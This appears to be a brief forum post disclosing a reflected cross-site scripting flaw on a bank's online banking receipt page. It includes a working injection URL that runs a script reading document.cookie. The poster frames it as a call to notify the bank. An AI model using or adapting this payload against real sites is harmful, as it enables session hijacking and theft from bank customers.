Doesn't strip script tags or anything; lots of nasty stuff you could do with this. Somebody should notify them. https://www.maybank2u.com.my/mbb/m2u/jsp/common

Doesn't strip script tags or anything; lots of nasty stuff you could do with this. Somebody should notify them. https://www.maybank2u.com.my/mbb/m2u/jsp/common/mbbReceipt.jsp?other=%3Cscript%3Ealert(document.cookie);%3C/script%3E https://www.maybank2u.com.my/mbb/m2u/jsp/common/mbbReceipt.j...